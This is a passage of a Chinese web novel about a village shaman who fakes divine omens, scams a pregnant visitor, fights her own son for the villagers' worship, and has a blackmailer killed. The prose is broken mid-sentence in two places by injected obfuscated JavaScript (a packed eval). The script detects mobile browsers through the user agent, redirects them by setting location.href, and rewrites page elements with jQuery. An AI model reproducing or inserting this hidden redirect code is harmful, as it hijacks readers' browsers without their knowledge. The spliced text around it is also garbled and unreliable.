隔天午间,登临塔处再次传来了诗句的消息,这一句写着“灵犀白鹤归大梦,千载流光不相思”。万金花将其抄录在一张巨大的铜版纸上,张贴在明月庄最显眼的一个位置,与众人一起等待下一句的到来。 奇怪的是这下一句销声匿迹,迟迟没有到来。我和李春生都对此了然——万金花为了达成更好的震慑效果,诗句的出现位置应当是逐渐接近登临塔的。而现在,第三句将要落笔的位置不可避免地要从小白菜的眼皮底下经过,她还没有找到合适的时机。 “别再拖了。”李春生靠在一张扶手椅当中发出羽毛一般的声音,数日来我都在老屋照顾他,短时间内大量饮下烈酒使胃病也和小白菜的高热一样隔三差五地侵扰他的身体。他又不像小白菜一样具备蓬勃的生命力,所以当绞痛来袭的时候,他总是像这样一声不吭地坐在椅子里,老屋中只能听见我的脚步和说话的声音,仿佛李春生并不存在一样。 他简短地提起这句话,看来明月庄寄生在他身上的痛苦正逐渐变得难以忍受,李春生寻求解脱的这一过程,我想我们都是罪人。 我说:“我会处理。” 他笑了一下,“别说得像要去杀人一样。” 真希望我在这时候也能像他一样说出点儿轻松的话来,可惜性格使然,注定是不可能了。我接过他手里捧着的一口没动的温水,也学着慧慧的样子去触摸他的上腹部,“没有好些?” “一直是这样。”他说,“你快去吧,让小白菜睡一会儿。” 我觉得李春生现在并不像此地的一位神明,而更多的是一个操盘手,他虽然表面上与小白菜站在一边,实际上则将小白菜与万金花各自放在天平两端,现在推翻任何一方都还为时尚早。要将稻草一捆一捆平等地扔上去,直到这个平衡不堪重负,他便成为一粒沙子般的火星落下去,将自己从里到外烧个精光。 可我呢?我却是冰块一样的人。 在这一点上,万金花和我们有着同样的立场,她在这个夏天争分夺秒,势必要让登临塔成为她重归顶峰的助力。小白菜在这条路上横插一脚,每当万金花出现在他的视野里,小白菜就会从围墙上伸长脖子向下望,并反复问道:“亲爱的妈妈,你又在盘算什么鬼把戏?” “这里除了你没有别的鬼把戏!”万金花朝墙上的孩子扔出扫帚,她的耐心正逐渐被消磨至边缘。 “嘿嘿嘿嘿……妈妈,你是不是忘了,你的小儿子正脱胎换骨,成了千年难遇的通灵先知,你的那些小把戏,我都会看在眼里的。” “哼,我还不知道你,你就是死鱼眼睛装灯泡,一张嘴颠倒黑白。” 小白菜听了不再说话,吹了一个口哨把阉鸡喊上了围墙,他躲在鸡毛后面对着万金花露出布满红血丝的眼球。万金花打算熬,熬到小白菜在围墙上撑不住而沉沉睡去,再无所顾虑地推进自己的计划。 今天,已经是小白菜彻夜不眠的第五天,眼球的酸胀甚至盖过了高热带来的不适,可他不死不休,丝毫没有闭眼休息一下的意图。 竹林里仍然躲着瘸子的身影,小白菜有多久没有合眼睡觉,他就在这里藏身了多久。他没几根毛的脑袋上粘着草叶和泥土,的确良衬衫却被他保护得仍然崭新。他像是等不下去了,整个人往前倾斜几乎要倒在地上,靠一双凸出在外的鱼眼睛吊着脑袋往登临塔那边赶。 “万婆子,万婆子,你得想尽办法保我不死。”他一到了那里,就理直气壮地对万金花提出要求。 万金花抑制住朝他啐唾沫的冲动,问道:“你倒是说说为啥?” “婆子,我虽然瘸了一条腿,但也不是好欺负的孬种。我说了,我的供奉感动上苍,现在也和你们是一样的人。可是你和你的儿子都不相信我,他还说登临塔建好之前我就要死了,分明是胡言乱语。婆子,我知道你们的关系不好,可我一直都是向着你的,所以你得帮我!” “呵,在明月庄,向着我就是向着天师,这都是应该的事。”万金花往嘴里塞了一把剥好的瓜子,斜着眼看他,“胡言乱语你怕什么?等你活到了那时候,他说的自然就是假的了。” 瘸子在万金花面前的空地上跺脚,都快要把他的好腿给跺残了,“他肯定会为了实现自己的预言,派人来杀了我的!” 万金花并不在乎瘸子的死活,但她也在心底里知道小白菜做得出来这样的事。瘸子还在吼着:“我要是死了,就证明那小子比你更加神通广大!还有啊,我在小竹林里头潜伏了这么多天,你以为我是吃饱了撑的吗?我已经知道了,那些诗文都是你写的吧,后面的你怕让小白菜看见,所以迟迟不行动……” 他挨了万金花一个响亮的耳光,“口无遮拦的家伙,连这种事都敢胡编乱造了。” “呵呵,好,婆子,我不提这个。但你也得承认前一句,难不成你甘愿做小白菜的手下败将?” 对于瘸子自以为是的谈判,我评价了一声冷笑。他不笨,也的确不是坐以待毙的人,但比起万金花,他显然还是缺少博弈的技巧。 神婆子向前一步,“我是他的娘,我还能输给他?”她挺起胸膛在空地上骄傲地踱步,回想起自己成为神婆子以来的人生,万金花对自己的计划十拿九稳,她已经看到了小白菜陨落的悲惨结局。 瘸子干脆在地上坐下了,“你不告诉我怎么活,我就一辈子跟在你的脚边。没人敢来杀了神婆子,也就不会杀了你脚边的我。” “诶呀!”这苍蝇嗡嗡嗡个不停,现在还打算在万金花的身上寄居,她真想一脚踢飞瘸子的头,在清溪河里放个鞭炮。万金花的眼睛朝天转了两圈,摆出一副认真思索计谋的样子来,“好好好,瘸子,我怕了你了。但我给你保命,可不是做慈善!” 瘸子梗着脖子对万金花吼:“你敢白给我好处,我也不敢要呢!万婆子,你开口吧,要从我这里拿走什么东西!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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瘸子摸遍了浑身的口袋,意识到自己并没有一支红色的毛笔,“我就是个倒霉鬼!”他借着月光一狠心,把食指啃了个洞,颤巍巍地完成了神婆子的任务。 诗文再次出现了,不同的是,这一次人们发现诗句只有一半,“问孰伴我随云去”,原本应有后半句的位置空荡荡,像是作者忘了写上去似的。 “这后半句肯定指向某个人。”那个戴眼镜的瘦男人煞有介事地说。 “天呐,咱们明月庄要出新的仙人了。”有人叫喊着跪下去,对着铜版纸连连磕头。神婆子没有反驳,而是站在人群当中欣慰地笑。 几日后一辆清洗如新的奔驰车在几日后再次驶入了明月庄,它标准地停在神婆子的家门口,那个烫头发的女人挺着肚子下了车,围墙上小白菜的身影把她吓了一跳。 “诶哟,跟猴子似的。” 小白菜只睡了一晚上,他的双眼就消了肿。同时他也知道这一晚上发生了什么,对于自己落了下风的局面,他成了一个不说话的木偶。 万金花姗姗来迟,她连忙解释局面,“老板娘,我这个儿子在墙上修炼呢,你别怕,他不会做什么的。”她娴熟地充当一个拎包的佣人,把女人迎到桌子边坐下。“老板娘,你来怎么也不说一声,我们也好有个准备。” 女人尝了一口万金花递来的茶水,就皱了眉头不打算再喝,“你们这里挺热闹啊。” “诶哟,您看,东边正修塔呢,我敢说,这塔修成以后,一定是全镇,不,全县最宏伟的建筑了。人人都趁着修塔为吉祥天师表忠心呢。” 那女人一挑眉,从中闻到了登临塔的商业价值,“听着不错,你们要是修得好我就让他投一笔,开发开发,一起赚点金元宝。”她的眼神瞟了瞟车里抽烟的男人,显得胸有成竹。 他们的关系还没有破裂,万金花便放心地说:“看来老板娘很快就要双喜临门了?” 女人被她逗笑,但很快就摸着肚子忧心忡忡地说:“我就是为这事儿来找你呢。” “老板娘但说无妨。” “上周我去检查了,那医生说这胎不好,要我把他打了,你说这人多坏。穿着白褂子,赚着红票子,却要说这种损阴德的话,看来心是黑的。” 话说到这里,神婆子就把接下来的猜了个八九不离十,“老板娘,你要我帮你保胎?” “那可不,能怀上还仰仗你的方子,我晓得你肯定有办法。给我们娘儿俩祛祛灾。” 那女人觉得万金花脸上的表情有些不自然,也没开口说什么,只见她站起身来走到靠近门边的墙角坐下了。“你坐那儿干什么?”女人问道。 “嗐,老板娘你不知道,我们明月庄讲究这个东南的墙角是镇宅的地方,一家之主常在这里坐坐是给全家积德的好事儿。” 女人拨弄着自己的头发笑了一下,“你们这儿的风俗真有意思。” 万金花接着说:“老板娘您说要祛灾,是来得巧了,最近咱们这儿正迎祥瑞呢,祛灾效果是最好的了。” “什么祥瑞?” 万金花从口袋里摸出一张叠得四四方方的纸,上面整齐地抄录了那些诗句,“老板娘您看,咱们东边庙里,你拜过的那尊天师神像,不久前忽然口中流出汩汩的鲜血!诶呀您别怕,这在别的地方或许是不祥的征兆,但在我们这里,说明吉祥天师要降下圣言。这几句诗,就是那天之后,平白无故出现在人家的门墙上的。” 女人将纸翻来覆去地看了,只看出这诗还缺了一句,万金花连连点头,“对呀,对呀,就差这么一句,就能成一个三方鼎立的祥瑞了。不过没关系,我已经推算过,就这两天,这最后一句就要显现了,到时候便可为您祛灾解难,比其他时候效果都要好呢。” 女人正打算将纸上的诗句再好好端详一番,坐在墙角的万金花就忽然扭动身子和五官,诶哟诶哟地怪叫着,女人忙问:“你怎么了这是?” “老板娘,老板娘,你可别碰我的身子,但你探出头去,叫几个女人进来。诶哟!祥瑞,祥瑞现在就在我身上呢!” 女人听了她的话,和另外四五个一起手忙脚乱地把万金花拉起,再手忙脚乱地解开她的衣服。只见神婆子的后背上爬满了蚂蚁,它们沿着脊梁骨形成奇怪的图案。烫头发的女人躲到了墙边,只剩下明月庄的几个一边叫喊,一边为万金花将脊背上的蚂蚁清除干净。 这便是万金花姗姗来迟的原因,在登临塔得知了奔驰来到明月庄的消息后,她先是有了一秒的慌乱,“怎么这个节骨眼上过来?”一眨眼的功夫万金花就想到这是一个可以利用的契机,“来了必定是要求什么,要是让她做个见证,不就是一举两得?”于是她抄起供桌上不知是谁送来的蜂蜜,揪着李得彩的领子对他说:“赶紧的,用你拿笔蘸蜂蜜,按照我背上的字描一遍!” 李得彩不依,辩解道:“这是画画的笔!” 管你是什么笔,万金花不由分说地抢来将笔头杵进了蜂蜜罐子,李得彩发出绝望的一声长叹后,满怀着哀怨顺从了万金花的要求。 女人们围成一团拿毛巾去搓万金花的背,在角落里下了一场蚂蚁雨。密密麻麻的蚂蚁被清理干净之后,人们就在万金花的脊背上清清楚楚地看到一列无法被擦除的,鲜红的大字:黄天仙道万家门。 32.博弈论 在明月庄,与神明也有关的消息总是传播地格外快。而神婆子的消息就是神明的消息,钟表还没有走过两个点儿,庄子里就挨家挨户传诵起万金花将要上高天成神仙的事了。这可是天大的好事儿,哪怕没有落在自己头上,一想到与未来的仙家是同乡,人们也就生出与有荣焉的情绪来,脸上纷纷展开了笑颜。 神婆子的身上披着一件由百家布做成的披风,将她脖子以下的皮肤罩起来。若是问万金花自己,她其实早已不在乎这些,早在十九岁她就已经向人们展示过自己脊背的皮肤了。只是她现在不是什么神婆子,而是尽力配合欢呼雀跃的人们演出的一个景点。 明月庄的男女老少当下手里的锅碗瓢盆和锄头担子,蚂蚁一般排着队来到万金花的家门口要把她往登临塔迎。他们飞速砍倒一片竹林,用竹刀用麻绳用人力,刷刷刷地就把翠绿的竹子造成一副结实的轿子,万金花坐上去,竹子被压得往下陷,再轻飘飘地弹起来。八个壮硕的男人撸起袖子架起轿子,喊着整齐的号子把这尊活的祥瑞往登临塔的方向抬。 人们在塔前支起红布,万金花端坐其中,方才为她清扫蚂蚁的两个女人自告奋勇把守入口,交出两张票子就能进去一睹登仙诗文的真迹。 人们呼喊李得彩的名字,这位塑像师傅在大家耐心耗尽的边缘露出了身子,却朝着底下喊道:“吵死了!我还要做塑像呢!” 庆祝的人才不管李得彩的话,他们决心不再等下去,而是猴子似的爬到李得彩的身边,把他也像是牲畜似的架了下来,和万金花放在一起。红布营造的喜庆氛围让李得彩恍惚间觉得自己回到了和万金花摆婚酒的时候,他现在后悔当初的决定了。 神婆子在红色的居所里向众人宣布,重修登临塔的使命有了新的变化,它将既是吉祥天师在人间居所的落成,也是万金花与仙家权力交接的专有场所。有人趴在她的脚边奉承道:“婆子,跟着你咱们真是享福了。现在看来,小白菜虽然得到仙家点化,但再怎么也是您身边的小童子,他身上的祥瑞都是为了给你做铺垫呢!” 现在,连那个坐着奔驰来到明月庄的烫头发女人都对万金花恭恭敬敬了。那女人听到万金花喊她过去,也学着人们的样子双手合十拜了一拜,“仙家,你说。” 万金花连连摆手,“哪里哪里,让老板娘见笑了。”说罢,她就吩咐在身边围观的一男一女两个小孩去捧来符纸和朱砂,自己则从袖筒里摸出一个黑色的圆形小盒子来。只见神婆子用脚尖勾起李得彩没来得及拾起的毛笔,空中翻腾两周半便落到了她的手里,“这是画画的笔。”她说着这话,同时瞟了李得彩一眼。她丈夫的脸色,也和这空白的符纸一样了。 这支笔跟了李得彩几十年,今天是第二次有了别的用途。清水把朱砂化开,万金花用这支倒霉的毛笔蘸取碗中红色的颜料,在符纸上画下一个她自创的养生保胎符。黑色盒子里装的是同样黑色的药膏,万金花两指一抹就将硬币大小的药膏涂在女人的肚皮上,她打着圈将药膏抹匀成煎鸡蛋大小的一块,嘴里念叨着:“你是踩星踏月而来的好儿郎,她是追云赶风到此的善心人,你们今生的缘分难解难分,来世的情仇来世再了,你当好好睡一觉,醒来做个有娘疼的宝。” 符纸被精准地贴到肚皮的正中央,女人看见神婆子的脸上露出欣慰的微笑。她便问道:“这就好了?这么简单?”万金花却示意女人噤声,她撕扯下百家布的一角用火点燃,人们注视着这团火焰在万金花的手掌中逐渐燃尽,在最后一秒,她把火苗扔进了自己的嘴里。烫头发的女人嘴唇张成“O”型,用明显水肿的十指遮着。 神婆子的双眼弯成了月牙,她攀着女人的双肩,对着她O型的嘴唇缓缓吐出烟雾。那女人瞬间昏昏欲睡了,仿佛那烟雾真有着什么神奇的功效似的。女人放下了手掌,竟张开嘴往前探了探,她吞下烟雾,忍住了喉咙的瘙痒,觉得自己忍过了仙家的考验。 “好了,老板娘,我为你肚子里的孩子祛了灾,给你们娘儿俩续了缘,你回去安心等着吧。”神婆子说,她的声音就和口中的烟雾一样轻飘飘。 我站在登临塔的人群外围,很快就听见里头传来金银珠玉落地的声响,停在外面耐心等待的奔驰车很快也被聒噪的孩子们堵得动弹不得。但这不是值得担心的事,他们自有办法解围。 现在真正需要关心的人是小白菜。这个可怜的孩子在今日付出了生平所有的耐心,围墙为他提供了更好的观察视角,也让他的怒气盖过所有人的喜气。 偏偏瘸子扶着腿不怀好意地现身,他的脸上绽放出洋洋得意的神情,他觉得自己赢了,不管其中过程如何,现在的结果是向着他的。“白菜,你看不起我,可我比你的脑子更灵光!” 小白菜没有说话,他倒想听听这个瘸子要说些什么来揶揄他。 “白菜,你的确是尊贵的仙童,可万婆子终究是生养你的老娘,你再厉害也是不能超过她的。所以啊,我看你的预言是不能灵验咯!” 成功写下诗文之后,万金花如约告知了瘸子保命的方法,“你不能回家,你睡在家门口或是睡在田里都行,就是不能踏过任何一扇门。小白菜说你要死,不是什么预言,是从我这里学来的咒法,被他心怀不轨地用了,把不知道哪一道门设成了你的死门,只要你一走进去就会没了命!你要在门外面待够七七四十九天,死劫自然就过去了,他的咒法也就不灵了。” 小白菜看着瘸子恶心的脸,想起了历史老师的教导,要耐心,耐心地像草原上狩猎的食肉动物。我也承认这个孩子拥有整个明月庄最坚定的意志,在太阳的炙烤下,小白菜的汗水从脑门流向下巴,汗水滚动的感觉让他更加固执地坚信,预言没有错误,瘸子将如约死去,而万金花的登仙宣言,不过是她的鬼把戏。 瘸子接着说:“我晓得你现在心情不好,但是白菜,你才六岁,不像我们是半截入土的人了。你的年纪这么小,先跟着万婆子学一学才是正道,不要又和上次一样,差点把命根子丢咯。” 这话没有让小白菜跳脚,倒是那阉鸡听了飞起来要啄瘸子的□□。“死畜生,滚开!”阉鸡遭了瘸子一脚撞到墙上,很快就躺在地上抽搐了两下,不再动了。 小白菜终于开了口,“瘸子,你说我的预言不能灵验?” “当然了。白菜,你可别哭鼻子。你的老娘万婆子现在成了仙家的候选人,明月庄就是她管辖的地界,新官上任,怎么能让自己的底盘上平白无故地死人呢?你说是不是啊?哈哈哈哈哈……”他一笑就把自己呛着了,咳了好一会儿才缓过神来,“反正啊,我的命现在是有保障了,你害不到我!”小白菜仍然不说话,瘸子没了耐心,“我可还有正事儿要做呢,白菜,你可别怪我的话难听,不听老人言,吃亏在眼前呐!” “呸!你算个狗屁,也来教育我?”小白菜心想。在他打算开口说些什么的时候,高热如期而至,清溪河在他眼里成了通天的梯子,歪歪扭扭好像下一秒就要砸到他的头上。他揉揉眼睛,河道又成了舞女的彩带,他忽然就好想跳一支招魂的舞,伸出手去抓却扑了个空。小白菜看到明月庄骤然升起,成为了仰头也看不见顶的高楼——他因为高烧昏了过去。 小白菜在熟栗子的甜香中醒来,抱着他的人是李春生。 胃痛仍然在李春生的身上盘踞着,并在他生命的最后半年里始终与他共存。我记得那天他离开的时候看起来有些着急,“去哪儿?”我问他。 “小白菜现在应该急坏了。”李春生只为我停留了一秒钟的时间,就争分夺秒地往围墙那边赶去,玻璃杯里的温水现在已然凉下来了。 小白菜环顾四周,确信自己不在围墙旁边,这里是山羊坡。李春生就这么低垂着眼看着他,什么也不说,很快,小白菜终于像一个真正的六岁小孩一样放声大哭起来。他的历史老师开始扮演一个称职的母亲,轻轻拍打他的背,同时抽出另一只手来碰了碰他的额头,高热还没有退去,这两人成了慢性病的病友。 “小白菜,你哭的是什么?”李春生问道。这个答案他心知肚明,但仍然需要小白菜亲口告诉他。 这孩子紧紧抓着李春生的手臂,在他的皮肤上留下凌乱的指甲印,“老师!春生老师!你骗人,我要输了,我要输了啊!” 李春生却笑了,“谁告诉你要输了?” “没人告诉我,但我知道!春生老师你站起来看看,明月庄的人们都为了我的妈妈而疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114920|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦!她先我一步夺得了人们的崇拜,堂而皇之地自诩为仙家,没有人再来关心我的预言啦!没有啦!” “可是小白菜。”李春生抱着他站起来,他们所在的位置刚好能看到登临塔附近的情况,“你的预言还没有失败,它只是还没有发生。” “太晚啦!太晚啦!已经没有用啦!” “嘘,你要是想赢,就认真地听老师说。”李春生调整了一下抱孩子的姿势,让小白菜的脑袋可以靠着他的肩膀,“小白菜,告诉我一个比一大的数字。” “二。”孩子的哭声逐渐停止了,山羊坡上只剩下风声和二人的耳语。 “没错。你妈妈背上的诗句是一,你只要拿出二就能赢过她了,这是简单的道理,我知道你能明白。” “可是我也只有一个预言。” 李春生再次提起那桩悬而未决的往事,“小白菜,你又忘记了,你本来的任务不是与万金花博弈,而是找到放火烧塔的人,这是吉祥天师亲口对你说的话,你好好想想,天师为什么要让你来找到这个人呢?” 小白菜搂着李春生的脖子,从山羊坡上注视着欢声笑语的人群。高处投下的视野让那些人变得和虫子一样小,他稍稍抬眼看到中央未完成的塑像,天师慈悲的五官还没有通过李得彩的笔诞生,小白菜就已经在脑海中为神像添上了双目。眼睛的位置,山羊坡的位置,他顿时领悟了李春生选择站在这里的原因:从这里投下的视野,和登临塔中神像的视野是位于同一水平线的。 “虫子,他们都是虫子。春生老师,我想天师对我委以重任,目的与我的妈妈万金花所表演的是一样的——他要我成仙。这是他的考验。可是妈妈她偷天换日,颠倒黑白,沐猴而冠,他们根本不知道,我才是真正要成仙的人。” 李春生听到小白菜在耳边发出两声熟悉的“嘿嘿”,接着对他循循善诱,“那你要成仙,却还没有完成吉祥天师的任务,他怎么把位子让给你呢?” “让给我?”小白菜抓住了这个词,“春生老师,你的意思是,我找到了纵火犯,吉祥天师就会让位于我吗?” “这不是你自己说的吗?要做明月庄的第一名,忘记了吗?” “春生老师,你果然很有魄力。” 李春生说:“小白菜,我只是一个老师,学生有梦想,我就尽力帮助他罢了。” 小白菜长叹一声,“现在,我只恨我姓李,不姓万。” “没有人说你只能姓李吧。”李春生说道。小白菜听了蠕动着直起身子,他再次触摸李春生眼角的疤痕说道:“你对我很执着。” “不是我执着,而是你总是面临很多问题,答疑解惑是一个老师的本分。比如现在,找到纵火犯是你赢下斗法的关键,那可以证明万金花从那时起就是错的,慧眼如炬的是你。一个纵火者的真相,加上一个灵验的预言,一加一,不就超过你的妈妈了吗?” “嘿嘿嘿嘿嘿……”小白菜在李春生的肩上摇头晃脑,“春生老师,那我不如再加一,只是还需要你的帮助。” “你说。” “春生老师,为我取个名字吧,我要和我的妈妈一样,姓万,万两黄金的万,万古流芳的万。” 为人赐名不管对人还是对神来说都是一件大事,李春生开始抱着小白菜在山羊坡上踱步,他在数百年来的见闻中寻找两个适合小白菜的字,最后他说道:“寿予,万寿予。纷总总兮九州,何寿夭兮在予。” 小白菜咂摸着嘴回味了一会儿,心满意足地攀上李春生的脖子对他说:“好,好,好,春生老师,从现在开始我们就是难舍难分的共同体了。你放心,等我成仙的时候,一定会带上你的。”他一边说着,一边就把自己的脸蛋往李春生的脖颈上贴,就像动物幼崽索取母亲的舔舐。 这场谈话的目的达成了,李春生让小白菜整个人伏在自己身上,轻拍着他的背并开口唱道:“月亮爬上呐小山岗,我把歌谣呐唱一唱,船上的星星摇摇晃,屋里的人儿静悄悄,别把心事呐放心上,快快睡下呐好梦长……” 歌谣唱完第二遍,熟睡的小白菜被安放回家中的床铺。到此,李春生暂时不必做什么了,毕竟他知道,斗法还远远没有结束呢。 33.向新世界 拂晓的时候我点着一支烟就出去散步,在这个时间整个明月庄都透出恰如死亡般的清凉。我说不上来具体的时刻,太过漫长的生命早就把看钟表的习惯从我的生活中剔除了。非要说的话大概是四五点,要是深秋或者隆冬,天空必然是一颗黑漆漆的梅子。但现在是八月,这个时间地平线已经显出惨淡的白,我知道这白色会随着时间的推移越来越退居幕后,所以也把它看得格外珍贵些。 我沿着一户又一户的房屋围墙漫无目的地走着,夏天即将过去这件事让我感到心烦,它意味着李春生为自己划定的死亡期限越来越近,而我还没有找到合适的心态去面对它。所以咀嚼冰块也好,在日出前出来散步也好,都有着和发呆、冥想一样的作用。 田埂上走过三个去烧香的老太太,她们低头赶路走得很急,并没有注意到我。我朝着前方吐出长长的一口烟,这一支前两天受了潮,口感差了点,火星子也和砧板上的鱼一样呼吸困难。这时候,我的脚边碰到了什么东西。 那东西黑乎乎的,用红色的绳子捆着,和挡门的砖头一样无所顾忌地放在地上。但砖头不会被这样重重包裹。一抬头,门不但没有上锁,反而大喇喇地开了一半。门内,一条黄狗正蜷缩在墙边熟睡。 这是瘸子的家。床上却没有他的身影。这不奇怪,这几日他都遵守万金花给出的建议蜷缩在门外。然而门口与附近的田野中也没有他的身影。 我首先想到的是登临塔,瘸子如今在明月庄唯一痛恨的恐怕只有李得彩。但自从万金花承恩登仙的把戏生了效,李得彩也彻夜陪着她端坐在塔前,做所谓承蒙天地露水福泽的仪式,瘸子这种人的执行力只会朝向更弱者,比如李有福,而李得彩,他再恨也只会耍些阴暗的小手段罢了。 于是我看向脚边的黑色包裹。不是坚硬的东西,平均地分作两份。犹豫再三,我解开了绳子,打开黑色的包装袋,就看到其中的两沓钞票。和新华字典差不多厚的,整齐叠作两沓的红色钞票。 我有一种瘸子凶多吉少的预感,但我的铃铛没有响,说明他还活着,就是不知道在不在明月庄。我不打算回去打扰李春生,他应该好好休息,便带着两沓钞票在明月庄的田野中试图寻找瘸子的身影。 天色愈发得亮了,旭日在朦朦胧胧的云影背后即将破壳而出。从瘸子的家门口穿过两排房屋一直往南边走,路过一片突兀地生在水田中的小竹林,再经过一个磨面粉的小作坊,向左拐弯沿着种了蚕豆的那条田埂走到底,就看到了浑身是血,奄奄一息的瘸子。 他躺在地上,连狗尾草也比他高出许多了。我看到瘸子左侧胸口的位置成了一个可怕的裂谷,氧化凝结的血液和地上的污泥一起,让那个地方有了黑洞的颜色。它也确实是一个洞——瘸子的心脏不在那里了。 可他奇迹般地还留有一口气,看到我来了,十根手指就开始抽搐,他的嘴唇和眼皮都像毛虫一样扭动着,他应该是想要说些什么,但喉间只发出“咔哒咔哒”的声响。 “这些钱是你的?”我问他。 瘸子的眼珠动了动,“啊……”地叫了一声,头一歪,不再动了。可是我仍然没有听到铃铛响,瘸子的眼珠子仍然盯着我手里的两沓百元大钞。 这东西我拿走没用,他用不上了,也还是应该物归原主。忙活到现在,已经到了日出的时刻,朝阳的颜色逐渐从云海中变得浓郁,我想到一切橙红色的东西,番茄,柿子,蜜饯,还有学生们在夏天的阳光下红扑扑的脸。 日出意味着明月庄的很多人就要陆续醒来,这里不会一直隐蔽下去,今天的散步结束了。 “还你吧。”我翻转手掌,钞票就被风吹成了雨,它们在瘸子的身边如同蝴蝶般盘旋纷飞,风向变得奇怪,就像是有意要让钞票围绕在瘸子周围似的。等到终于有两张百元大钞分别盖住了瘸子的左右眼,朝阳也发出万丈光芒,铃铛终于响了。 回去的路上我想了很多,首先,瘸子的心脏去了哪里,据我的了解,明月庄里没有痛恨瘸子到这种地步的人。那就是外来者,他们要瘸子的心做什么呢?这似乎也是他向李春生要求巨额财富时亲口承诺的价码,可是李春生会采用如此惨烈的支付方式吗?我倾向于否定,这应当与他无关。其次,我想到李有福,想到我名义上的父亲,目睹杀父仇人的死亡并没有让我产生什么特殊的感受,但至少李有福的确没有白死。最后,我忽然觉得,瘸子与他梦寐以求的财富一同长眠,那么他死去的那一刻感受了什么呢?会是幸福吗? 这里的某些答案,是可以直接找瘸子本人求证的。 我没有马上去清溪河边接他,而是坐在路边把手里灭了的香烟重新点燃抽完,反正让他这种人多等一会儿,应该也不会有人怪我。 一般来说我都挺喜欢在清晨时分听到铃铛的声音,这个时间死去的大都是寿终正寝的老人,他们安静,牵挂较少,不会问很多问题。但瘸子显然不会这样了。我站得远远的摇响铃铛,他蹲在河边的影子没有丝毫反应,再摇响,仍然没有,我便只能走向他。 瘸子的身材不高大,蹲着的时候就显得更小。我看到他的右腿上仍然缠着绷带,表明他对人骨粉末治疗瘸腿的偏方异常执着。他将双手伸到水中,河水被搅动起白花花的浮沫。 “李观水。”我喊他的名字。瘸子斜眼瞟了一下,还是继续在水里摸索。 “你在找什么?” 瘸子骂了句脏话然后说:“找钱,找钱啊!有很多很多,多得能像被子一样把我盖住,刚才明明就在我的眼前,飞到了我的怀里,忽然就不见了,肯定被吹到了河里。” “水里没有你的钱,起来。”我说道。瘸子怎么肯呢?他听了我的话就伸出沾满淤泥的手指着我说:“你什么人啊,就知道水里没有我的钱?等我把钱都找回来,我就上报吉祥天师,把庄子里这些古怪的年轻人都清理一遍!” 没有与他好好解释的必要,我也和他一样蹲下来,现在瘸子胸前的大洞正对着我,比之前更黑了一点。我托住他的下巴,合上他喋喋不休的嘴,捏着他的下颌骨扭转他细长的脖子把他摁到水面下去。瘸子已经死了,水不会让他窒息,这种时候,水是镜子,反射出瘸子生命的最后一段时光。 瘸子在小白菜那里体会到了挑衅的乐趣之后,就胸有成竹地往登临塔的方向去,做他口中念念有词的“正事儿”去了。我对瘸子的判断没有错,他是个脑子不笨却缺少情商的人。他不敢直接拨开人群冲到红布帐篷内,便像一条乞食的狗一样绕着转圈,一直等到深夜吵闹的人群散去,李得彩拖着疲惫的身体走出,瘸子才从帐篷的一角钻进去。 神婆子头上带着五彩的羽毛冠,身上披着各色的百家布,她保持了一整天打坐的姿势,现在也放松下来开始给自己揉腿。她把眼皮抬起一条缝,对着脚边的瘸子说:“短命鬼。” “婆子,你怎么还这么说?我要是死了,只会让小白菜得意,让你落魄。” 万金花早就厌倦了他,瘸子和李池一样,都是没用又难缠的家伙。她对瘸子说:“我说你短命是事实,才不管小白菜说什么呢,他到底是我生出来的,天生就是我的从属。” “嘁,就你会说。”瘸子摇摇头,不再与万金花争辩这个,他对万金花说:“不过婆子,我不是来跟你说这个的。就算你咒我短命,我也要向你揭发一个人的罪行。” “谁?” “就是你的丈夫李得彩!” 瘸子的半个眼球都瞪出了眼眶,万金花看着他,突然地笑起来,“哈哈哈哈哈,你倒是说说,李得彩犯了什么事儿?” “婆子,我知道,放火烧塔的人不是李池对吧?他是你拉来顶罪的!” 万金花不再笑了,她顿时觉得毛骨悚然,这个瘸子怎么会知道这些呢?眼前的男人接着说下去,“因为当时我瞧见了呀,李得彩站在塔上,死鸭子一般望着吉祥天师的塑像,然后就在上面用烟斗点着报纸和一捆稻草,那火蹭蹭地燃起来,他自己就和猴子似的逃走了。” “无凭无据。”万金花开始颤抖。 瘸子嘿嘿一笑,“婆子,咱们庄子里无凭无据的事多了去了,数你这里最多。我能对你说这些,是因为实在看不惯李得彩,他是个表里不一的小人,做着塑像师傅的活,心里确实最不敬天师的那个人!你是神婆子呀,就要成仙的人,你会被他害惨的!” “我倒也用不着你来提醒我危险。” “哼,婆子,你的嘴巴厉害,李得彩的可不是。我直说了,我不能只睡在大路上,你必须派专人保护我,确保我的安全,否则我就向整个庄子的人揭发李得彩的罪行,逼他在大家面前就范!而你当初乱判案的事情也会被抖出来,小白菜可就要开心咯!” 瘸子不了解万金花和李得彩的陈年往事,也就不知道这两人深度绑定的关系。他的计划粗糙又下流,却成功地让万金花感到危机。她战战兢兢地活了几十年,如今终于借着登仙诗文的法子将要摆脱这种状态,瘸子冷不丁地跳出来把一个炸弹放到她眼前。 万金花不断地深呼吸,脑子转得飞快搜索解决他的办法,“给我五天时间考虑一下,我要是答应你了,就直接派人过去。” 瘸子听到了还算满意的回答,不再继续纠缠,“嘿,婆子,你肯定会答应的,这是桩不错的买卖。我就在家里等着你的人了。”他天真地以为万金花会向他妥协,却低估了神婆子的盘算有多恶毒。 第四天的晚上,一辆黑色的小面包车神不知鬼不觉地驶入了明月庄,车型与孟明达的很像,但细看就知道不是同一款。车上下来两个人径直走向瘸子的家门。他算好时间,正满心欢喜地等待着属于自己的保镖登门,提前两天穿上那件最喜欢的的确良衬衫。 